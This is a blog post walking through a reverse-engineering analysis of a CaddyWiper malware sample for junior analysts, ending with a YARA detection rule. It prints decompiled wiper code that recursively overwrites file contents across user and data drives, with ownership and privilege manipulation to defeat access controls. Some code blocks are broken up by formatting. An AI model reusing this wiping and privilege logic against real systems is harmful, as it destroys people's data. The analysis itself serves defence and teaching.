Analysis of a Caddy Wiper Sample Targeting Ukraine

n0p.me/2022/03/2022-03-26-caddywiper/

Analysis of a Caddy Wiper Sample

Introduction

CaddyWiper was first reported by ESET as below:

> Dubbed CaddyWiper by ESET analysts, the malware was first detected at 11.38 a.m. local time (9.38 a.m. UTC) on Monday. The wiper, which destroys user data and partition information from attached drives, was spotted on several dozen systems in a limited number of organizations. It is detected by ESET products as Win32/KillDisk.NCX.

One of my friends pinged me a few days later with a link to a CaddyWiper sample. Since this sample was a particularly small one, I decided to write a blog post going through each function from scratch and introducing the tools I used to make my life easier. Hopefully, this can serve as a reference to junior malware analysts who want to get started with this craft.

First off, I'm a Linux user myself and I use mainly Linux tools to analyse malware. `pev` is a set command-line utilities providing a high level analysis of a `PE` binary. It consists of the following tools

```
of
s2
rv
a
pe
di
s
pe
ha
sh
pe
ld
d
pe
pa
ck
pe
re
s
pe
sc
an
pe
se
c
pe
st
r
re
ad
pe
rv
a2
of
s
```

running `pehash` on the sample offers the following:

```
filepath:
a294620543334a721a2ae8eaaf9680a0786f4b9a216d75b55cfd28f39e9430ea.exe
```

```
md5: 42e52b8daf63e6e26c3aa91e7e971492
```

```
sha1: 98b3fb74b3e8b3f9b05a82473551c5a77b576d54
```

```
sha256: a294620543334a721a2ae8eaaf9680a0786f4b9a216d75b55cfd28f39e9430ea
```

```
ssdeep:
192:76f0CW5P2Io4evFrDv2ZRJzCn7URRsjVJaZF:76fPWl24evFrT2ZR5Cn7UR0VJo
```

```
imphash: ea8609d4dad999f73ec4b6f8e7b28e55
```

`readpe` result:

```
DOS Header
 Magic number: 0x5a4d (MZ)

 Bytes in last page: 144

 Pages in file: 3

 Relocations: 0
```

Size of header in paragraphs: 4

Minimum extra paragraphs: 0

Maximum extra paragraphs: 65535

Initial (relative) SS value: 0

Initial SP value: 0xb8

Initial IP value: 0

Initial (relative) CS value: 0

Address of relocation table: 0x40

Overlay number: 0

OEM identifier: 0

OEM information: 0

PE header offset: 0xc8

COFF/File header

Machine: 0x14c IMAGE_FILE_MACHINE_I386

Number of sections: 3

Date/time stamp: 1647242376 (Mon, 14 Mar 2022 07:19:36 UTC)

Symbol Table offset: 0

Number of symbols: 0

Size of optional header: 0xe0

Characteristics: 0x102

Characteristics names

IMAGE_FILE_EXECUTABLE_IMAGE

IMAGE_FILE_32BIT_MACHINE

Optional/Image header

Magic number: 0x10b (PE32)

Linker major version: 10

Linker minor version: 0

Size of .text section: 0x1c00

Size of .data section: 0x400

Size of .bss section: 0

Entrypoint: 0x1000

Address of .text section: 0x1000

Address of .data section: 0x3000

ImageBase: 0x400000

Alignment of sections: 0x1000

Alignment factor: 0x200

Major version of required OS: 5

Minor version of required OS: 1

Major version of image: 0

Minor version of image: 0

Major version of subsystem: 5

Minor version of subsystem: 1

Size of image: 0x5000

Size of headers: 0x400

Checksum: 0

Subsystem required: 0x2 (IMAGE_SUBSYSTEM_WINDOWS_GUI)

DLL characteristics: 0x8140

DLL characteristics names

IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE

IMAGE_DLLCHARACTERISTICS_NX_COMPAT

IMAGE_DLLCHARACTERISTICS_TERMINAL_SERVER_AWARE

Size of stack to reserve: 0x100000

Size of stack to commit: 0x1000

Size of heap space to reserve: 0x100000

Size of heap space to commit: 0x1000

Data directories
Directory

IMAGE_DIRECTORY_ENTRY_IMPORT: 0x3008 (40 bytes)

Directory

IMAGE_DIRECTORY_ENTRY_BASERELOC: 0x4000 (12 bytes)

Directory

IMAGE_DIRECTORY_ENTRY_IAT: 0x3000 (8 bytes)

Imported functions
Library

Name: NETAPI32.dll

Functions
Function

Hint: 39

Name: DsRoleGetPrimaryDomainInformation

Exported functions
Sections
Section

Name: .text

Virtual Size: 0x1b4a (6986 bytes)

Virtual Address: 0x1000

Size Of Raw Data: 0x1c00 (7168 bytes)

Pointer To Raw Data: 0x400

Number Of Relocations: 0

Characteristics: 0x60000020

Characteristic Names

IMAGE_SCN_CNT_CODE

IMAGE_SCN_MEM_EXECUTE

IMAGE_SCN_MEM_READ

Section

Name: .rdata

Virtual Size: 0x6a (106 bytes)

Virtual Address: 0x3000

Size Of Raw Data: 0x200 (512 bytes)

Pointer To Raw Data: 0x2000

Number Of Relocations: 0

Characteristics: 0x40000040

Characteristic Names

IMAGE_SCN_CNT_INITIALIZED_DATA

IMAGE_SCN_MEM_READ

Section

Name: .reloc

Virtual Size: 0x18 (24 bytes)

Virtual Address: 0x4000

Size Of Raw Data: 0x200 (512 bytes)

Pointer To Raw Data: 0x2200

Number Of Relocations: 0

```
Characteristics: 0x42000040

Characteristic Names

IMAGE_SCN_CNT_INITIALIZED_DATA


IMAGE_SCN_MEM_DISCARDABLE


IMAGE_SCN_MEM_READ
```

If you’re new to analyzing a PE, I highly recommend looking at the official Microsoft documents for PE Format. Some notes from the link:

> At location 0x3c, the stub has the file offset to the PE signature. This information enables Windows to properly execute the image file, even though it has an MS-DOS stub. This file offset is placed at location 0x3c during linking. After the MS-DOS stub, at the file offset specified at offset 0x3c, is a 4-byte signature that identifies the file as a PE format image file. This signature is “PE\0\0” (the letters “P” and “E” followed by two null bytes).

Main function Analysis

the main function starts at `00401000` and it looks like it doesn’t return a status code. in `c` terms, it means the `main` function is written like so: `void main(...)`.

In the main function, we can see a call to the external function `DsRoleGetPrimaryDomainInformation` at `0040113a`:

Decompile: entry - (a294620543334a721a2ae8eaaf9680a0786f4b9a216d75b55cfd28f...

```
  local_45 = 0x32;
  local_44 = 0x2e;
  local_43 = 100;
  local_42 = 0x6c;
  local_41 = 0x6c;
  local_40 = 0;
  local_34 = 0x4c;
  local_33 = 0x6f;
  local_32 = 0x61;
  local_31 = 100;
  local_30 = 0x4c;
  local_2f = 0x69;
  local_2e = 0x62;
  local_2d = 0x72;
  local_2c = 0x61;
  local_2b = 0x72;
  local_2a = 0x79;
  local_29 = 0x41;
  local_28 = 0;
  local_38 = (code *)FUN_00401530((ushort *)&local_20,&local_34);
  local_68 = 0x6e;
  local_67 = 0x65;
  local_66 = 0x74;
  local_65 = 0x61;
  local_64 = 0x70;
  local_63 = 0x69;
  local_62 = 0x33;
  local_61 = 0x32;
  local_60 = 0x2e;
  local_5f = 100;
  local_5e = 0x6c;
  local_5d = 0x6c;
  local_5c = 0;
  (*local_38)(&local_68);
  empty_int_pointer = (int *)0x0;
  DsRoleGetPrimaryDomainInformation(0,1,&empty_int_pointer);
  if (*empty_int_pointer != 5) {
    (*local_38)(&local_4c);
    local_58 = 'C';
    local_57 = 0x3a;
    local_56 = 0x5c;
    local_55 = 0x55;
    local_54 = 0x73;
    local_53 = 0x65;
```

according to Microsoft documentation, The `DsRoleGetPrimaryDomainInformation` function retrieves state data for the computer. This data includes the state of the directory service installation and domain data.

If we take a closer look at the function call, we can see that the function has been called with 3 parameters: `DsRoleGetPrimaryDomainInformation(0,1,&empty_int_pointer);`. the 0 refers to the `lpServer` parameter, meaning the function will be called on the local computer (refer to the link above for more info on that). The `1` is the `InfoLevel` parameter, which specifies the level of output needed, as well as the type of output being pushed to our `empty_int_pointer`. referring to Microsoft Documentation, we can see `1` refers to the first item in the C++ enum, which is `DsRolePrimaryDomainInfoBasic` :

```
typedef enum

_DSROLE_PRIMARY_DOMAIN_INFO_L
EVEL

 {



 DsRolePrimaryDomainInfoBasic
= 1,


 DsRoleUpgradeStatus,
 DsRoleOperationState


}


DSROLE_PRIMARY_DOMAIN_INFO_LE
VEL


;
```

If we follow the docs, it'll mention our output type as `DSROLE_PRIMARY_DOMAIN_INFO_BASIC`, and refers to this page. Looks like our return value will be in this struct:

```
typedef struct

_DSROLE_PRIMARY_DOMAIN_INFO_
BASIC

 {



 DSROLE_MACHINE_ROLE
MachineRole;


 ULONG Flags;


 LPWSTR DomainNameFlat;




 LPWSTR DomainNameDns;




 LPWSTR DomainForestName;




 GUID DomainGuid;




}


DSROLE_PRIMARY_DOMAIN_INFO_B
ASIC


, *
PDSROLE_PRIMARY_DOMAIN_INFO_
BASIC


;
```

clearly the attack is interested in `MachineRole`, and compares it with value `5`. Let's dig deeper to see what `5` means. If we go to this doc, we'll see the following `enum`:

```
typedef enum
_DSROLE_MACHINE_ROLE {

DsRole_RoleStandaloneWorkstati
on

,

 DsRole_RoleMemberWorkstation,

 DsRole_RoleStandaloneServer,

 DsRole_RoleMemberServer,

DsRole_RoleBackupDomainControl
ler

,

DsRole_RolePrimaryDomainContro
ller

} DSROLE_MACHINE_ROLE;
```

`5` is the primary Domain Controller. Looking at the code, you can see the attacker does not intend to attack the primary DC, and will skip them.

After getting all the info, I started to rename the functions and add a bit of comment, as well as converting types in Ghidra to make sure it's readable:

```
  (*local_38)(&local_68);
  empty_int_pointer = (int *)0x0;
  DsRoleGetPrimaryDomainInformation(0,1,&empty_int_pointer);
  if (*empty_int_pointer != 5) {
    (*local_38)(&local_4c);
    local_58 = 'C';
    local_57 = ':';
    local_56 = '\\';
    local_55 = 'U';
    local_54 = 's';
    local_53 = 'e';
    local_52 = 'r';
    local_51 = 's';
    local_50 = 0;
    FUN_004022a0(&local_58);
    local_24 = 'D';
    local_23 = ':';
    local_22 = '\\';
    local_21 = 0;
    for (i = 0; i < 24; i = i + 1) {
      FUN_004022a0(&local_24);
      local_24 = local_24 + 1;
    }
    func10();
  }
  return;
}
```

Now we can see there's a `wiper` function, which runs on `C:\\Users` as well as `D:\\` for 24 chars (`E:\\, F:\\, ...`), which means basically all drive letters.

let's go take a look at the `wiper` function. That's where the attacker's malicious code is located.

The wiper function

The function itself is a `void` one. Meaning the attacker didn't really care if the wiping is successful or not. Reading a bit of the function itself, the first bit of interesting information is seen at line ~180. There seems to be another function, that gets called with both `*` and `\\` values.

Decompile: wipe - (a294620543334a721a2ae8eaaf9680a0786f4b9a216d75b55cfd28f3...

```
  undefined local_1d;
  undefined local_1c;
  undefined local_1b;
  undefined local_1a;
  undefined local_19;
  undefined local_18;
  undefined local_17;
  byte local_14;
  undefined local_13;
  undefined local_12;
  undefined local_11;
  undefined local_10;
  undefined local_f;
  undefined local_e;
  undefined local_d;
  undefined local_c;
  undefined local_b;
  code *local_8;

  local_e24 = 0xffffffff;
  local_e20 = '*';
  local_e1f = 0;
  local_e44 = '\\';
  local_e43 = 0;
  FUN_00402a80((int)local_ccc,param_1,&local_e44);
  FUN_00402a80((int)local_89c,local_ccc,&local_e20);
  local_8b8 = (code *)0x0;
  local_470 = 0x46;
  local_46f = 0x69;
  local_46e = 0x6e;
  local_46d = 100;
  local_46c = 0x46;
  local_46b = 0x69;
  local_46a = 0x72;
  local_469 = 0x73;
  local_468 = 0x74;
  local_467 = 0x46;
  local_466 = 0x69;
  local_465 = 0x6c;
  local_464 = 0x65;
  local_463 = 0x41;
  local_462 = 0;
  local_450 = 0x6b;
  local_44f = 0;
```

```
FUN_00402a80((int)local_ccc,param_1,&local_e4
4);
```

```
FUN_00402a80((int)local_89c,local_ccc,&local_
e20);
```

After digging around the `wipe` function, you can see `kernel32.dll` as a stack string with these functions being called from it (in order):

```
FindFirst
FileA
FindNextF
ileA
CreateFil
eA
GetFileSi
ze
LocalAllo
c
SetFilePo
inter
WriteFile
LocalFree
CloseHand
le
FindClose
```

All above functions are thoroughly documented in Microsoft's official Win32 API Docs

Essentially, the wiper is looking for all the files under `C:\Users` and `D:` through `Z:` and tries to enumerate the first file within those directories (with `FindFirstFileA`), then enumerates through the folders with `FindNextFileA`, opens the file, scrambles the header of each file, and does it across all folder recursively. Here's the main `wiper` function with function names and syscalls somewhat renamed to a more readable format

```
  find_close_result = (code *)FUN_00401530(kernel_32_dll,(byte *)find_close);
  iVar1 = (*find_first_file_a_result)(local_89c,first_file_path);
  if (iVar1 != -1) {
    do {
      if ((first_file_path[0] & 0x10) == 0) {
        concat((int)local_ccc,param_1,&local_e44);
        concat((int)acStack1076,local_ccc,&local_de0);
        iVar2 = FUN_00401a10(acStack1076);
        if ((iVar2 != 0) &&
           (local_e58 = (*create_file_a_result)(acStack1076,0xc0000000,3,0,3,0x80,0),
           local_e58 != -1)) {
          local_e60 = (*get_file_size_result)(local_e58,0);
          if (0xa00000 < local_e60) {
            local_e60 = 0xa00000;
          }
          local_e5c = 0;
          local_e54 = (*local_alloc_result)(0x40,local_e60);
          FUN_00402b10(local_e54,local_e60);
          (*set_file_pointer_result)(local_e58,0,0,0);
          (*write_file_result)(local_e58,local_e54,local_e60,&local_e5c,0);
          (*local_free_result)(local_e54);
          (*close_handle_result)(local_e58);
        }
      }
      else if ((((local_de0 != '.') || ((local_ddf != '\0' && (local_ddf != '.')))) &&
               ((first_file_path[0] & 2) == 0)) && ((first_file_path[0] & 4) == 0)) {
        concat((int)local_ccc,param_1,&local_e44);
        concat((int)acStack1076,local_ccc,&local_de0);
        FUN_00401a10(acStack1076);
        wipe(acStack1076);
      }
      iVar2 = (*find_next_file_a_result)(iVar1,first_file_path);
    } while (iVar2 != 0);
    (*find_close_result)(iVar1);
  }
  return;
}
```

Subfunction `FUN_00402a80`

Before we rename this function to something human-readable, we should know what it does. Here's the pseudo-code of the function itself:

Decompile: FUN_00402a80 - (a294620543334a721a2ae8eaaf9680a0786f4b9a216d75...

```

void __cdecl FUN_00402a80(int param_1,char *param_2,char *param_3)

{
  int local_10;
  char local_9;
  int local_8;

  local_10 = 0;
  local_9 = *param_2;
  while (local_9 != '\0') {
    *(char *)(param_1 + local_10) = local_9;
    local_10 = local_10 + 1;
    local_9 = param_2[local_10];
  }
  local_8 = 0;
  local_9 = *param_3;
  while (local_9 != '\0') {
    *(char *)(param_1 + local_10) = local_9;
    local_8 = local_8 + 1;
    local_10 = local_10 + 1;
    local_9 = param_3[local_8];
  }
  *(undefined *)(param_1 + local_10) = 0;
  return;
}

```

The function appears to concat two strings together with a couple of `while` loops and put them in the first parameter's pointer. in `python` terms, it basically means `param_1 = param_2 + param_3`. From now on, I'll refer to `FUN_00402a80` as `concat`

subfunction `FUN_00401530`

After concatenating the paths with `*` and `\\`, `FUN_00401530` gets called with two parameters: `findFirstFileA` and `kernel32.dll`, as specified in lines directly after calling the two concat functions (line 190 to 200 inside the `wipe` function in Ghidra).

Decompile: FUN_00401530 - (a294620543334a721a2ae8eaaf9680a0786f4b9a216d75...

```
int __cdecl FUN_00401530(ushort *param_1,byte *param_2)

{
  byte bVar1;
  short sVar2;
  ushort uVar3;
  int iVar4;
  int iVar5;
  int in_FS_OFFSET;
  bool bVar6;
  int local_70;
  byte *local_68;
  byte *local_64;
  int local_5c;
  int *local_54;
  ushort *local_50;
  int *local_40;
  int local_34;
  int *local_10;
  int local_c;

  local_c = 0;
  local_10 = *(int **)(*(int *)(*(int *)(in_FS_OFFSET + 0x30) + 0xc) + 0x14);
  do {
    local_54 = (int *)local_10[10];
    local_40 = local_54;
    do {
      sVar2 = *(short *)local_40;
      local_40 = (int *)((int)local_40 + 2);
    } while (sVar2 != 0);
    FUN_004014b0(local_54,((int)local_40 - ((int)local_54 + 2) >> 1) << 1);
    local_50 = param_1;
    do {
      uVar3 = *(ushort *)local_54;
      bVar6 = uVar3 < *local_50;
      if (uVar3 != *local_50) {
LAB_00401610:
        local_5c = (1 - (uint)bVar6) - (uint)(bVar6 != 0);
        goto LAB_00401618;
      }
      if (uVar3 == 0) break;
      uVar3 = *(ushort *)((int)local_54 + 2);
      bVar6 = uVar3 < local_50[1];
```

Even though the logic of the function seems complicated, from what it gets and produces as an output, it's safe to assume the function is a Win32 API client. The DLL filename as well as the specific functionality is pushed to the function and the result is an integer that corresponds to the API response code. From now on, I'll refer to `FUN_00401530` as `syscall_wrapper`

Other Interesting Functions

`FUN_00401a10`

Using the same trick we did before, it's easy to see this function using the same `syscall_wrapper` to invoke multiple functions from `advapi32.dll`:

```
SetEntriesInAclA
AllocateAndInitiali
zeSid
SetNamedSecurityInf
oA
GetCurrentProcess
OpenProcessToken
SeTakeOwnershipPriv
ilege
FreeSid
LocalFree
CloseHandle
```

This function looks to be looking into each particular file's ownership and tries to get around some ACLs and "access denied" errors that it comes across. I would describe it as a basic way to try to make a file writable enough so it can destroy it. Although I didn't read each individual syscall to back that claim. `FUN_00401750` is the main carrier of this operation. In `FUN_00401750`, we can see the following functions:

```
LookupPrivilegeV
alueA
AdjustTokenPrivi
leges
GetLastError
```

`FUN_00401750` simply tries to see if the malware has enough permission to change permissions on a file. I'll rename it to `priv_check`.

As a result, based on my guess, `FUN_00401a10` is renamed to `priv_set`

Putting it all together

This is a small Malware sample, and it's effective and fast. In a nutshell, this is what the attack vector had in mind

- Checks if the Computer is a primary domain controller or not. If not, it leaves it behind and doesn't wipe it.
- It identifies C:\Users and D: through Z: as primary attack targets

- Recursively:
  - Finds the first file in the folder
  - Tries to see the permission it has to write to the file
  - Tries elevating privileges to gain permission to write to the file
  - Opens the file in write mode
  - rewrites the file header with gibberish
  - Close the file

Interestingly, If you run the binary through something like the `strings` command, you'll only see a few strings, like so

```
strings
a294620543334a721a2ae8eaaf9680a0786f4b9a216d75b55cfd28f39e9430ea.exe



!This program cannot be run in DOS mode.


Rich%
.text
`.rdata
@.reloc


DsRoleGetPrimaryDomainInformation


NETAPI32.dll
```

This is because the attacker is making use of `stack strings`. This link has a good explanation of what are stack strings and how are they used to avoid detection.

Detection

The easiest detection for this particular sample could be a hash value. But since this malware is small, hashes, even `ssdeep` are not a very good idea. Let's try to build a YARA rule that defines what we learned from the malware.

```
rule caddywiper {
 meta:
 author = "Ali Mosajjal"
 email = ""
 license = "Apache 2.0"
```

```
 description =

"Caddy Wiper Stack String Detection"



 strings:

 $s1 = /F.{6}i.{6}n.{6}d.{6}F.{6}i.{6}r.{6}s.{6}t.{6}F.{6}i.{6}l.{6}e.{6}A/ //
FindFirstFileA



 $s2 = /F.{6}i.{6}n.{6}d.{6}N.{6}e.{6}x.{6}t.{6}F.{6}i.{6}l.{6}e.{6}A/ //
FindNextFileA



 $s3 = /C.{6}r.{6}e.{6}a.{6}t.{6}e.{6}F.{6}i.{6}l.{6}e.{6}A/ // CreateFileA



 $s4 = /G.{6}e.{6}t.{6}F.{6}i.{6}l.{6}e.{6}S.{6}i.{6}z.{6}e/ // GetFileSize



 $s5 = /L.{6}o.{6}c.{6}a.{6}l.{6}A.{6}l.{6}l.{6}o.{6}c/ // LocalAlloc



 $s6 = /S.{6}e.{6}t.{6}F.{6}i.{6}l.{6}e.{6}P.{6}o.{6}i.{6}n.{6}t.{6}e.{6}r/ //
SetFilePointer



 $s7 = /W.{3}r.{3}i.{3}t.{3}e.{3}F.{3}i.{3}l.{3}e/ // WriteFile



 $s8 = /L.{6}o.{6}c.{6}a.{6}l.{6}F.{6}r.{6}e.{6}e/ // LocalFree



 $s9 = /C.{6}l.{6}o.{6}s.{6}e.{6}H.{6}a.{6}n.{6}d.{6}l.{6}e/ // CloseHandle



 $s10 = /F.{3}i.{3}n.{3}d.{3}C.{3}l.{3}o.{3}s.{3}e/ // FindClose
```

```
    condition:

    all of ($s*) and filesize < 100KB

   }
```

As we saw, since the attacker was clever enough to use Stack String, our YARA rule is going to be slow and regex-y but it still works. Interestingly, for `WriteFile` and `FindClose` I had to adjust my regex to factor in the slightly smaller `MOV` assembly code. I've also put a file size cap on the sample to ignore potentially different variants of this malware.

As an exercise, you can create similar detection for the `dll` files, which are a bit trickier considering they're both `wide` strings and Stack Strings.

Hope you enjoyed this brief analysis. I'll put the Ghidra zipped file alongside the scripts, comments etc in a Github Repo if anyone is interested. Let me know what Malware should I dissect next :)